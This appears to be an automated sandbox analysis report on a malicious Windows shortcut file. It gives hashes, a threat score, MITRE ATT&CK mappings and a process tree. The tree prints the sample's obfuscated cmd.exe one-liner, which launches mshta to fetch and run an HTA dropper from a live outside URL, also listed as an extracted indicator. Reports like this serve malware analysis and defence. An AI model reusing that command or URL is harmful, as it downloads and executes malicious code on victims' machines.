8e66ccd5933400e5bafe62d876611982a26fbe57b31ea2d916bb26aef1d66b5b

Analysis

max time kernel
59s
max time network
61s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
21/08/2026, 09:06

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General

Target
DOC-Y2H4RD.lnk
Size 1KB
Sample260821-k264fa1vb1
SHA256 8e66ccd5933400e5bafe62d876611982a26fbe57b31ea2d916bb26aef1d66b5b
MD5 cc028ffa3934af7292e67787d68018d1
SHA1 ace739549ff5da900efb1e873a86507b76b87f64
SHA512 8511c8e7493ad849edb13d5e5b7d089aeaed873e1533694036d6e98dbd9989fed85835240ace0ea7590e7c38295dee6f73d1fc87eb978296c43c85be73efe500
TLSH
T13F314C503FFD0514F3B79F7784BB572499BB79958D10C62D0141464D1432A01E5BAF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1844	cmd.exe
2424	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2424 wrote to memory of 1844	2424	cmd.exe	85
PID 1844 wrote to memory of 2224	1844	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-Y2H4RD.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2424
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set xBKbZ=msh&&set meya=ta&&start "" !xBKbZ!!meya! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\System32\mshta.exe
    mshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:2224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads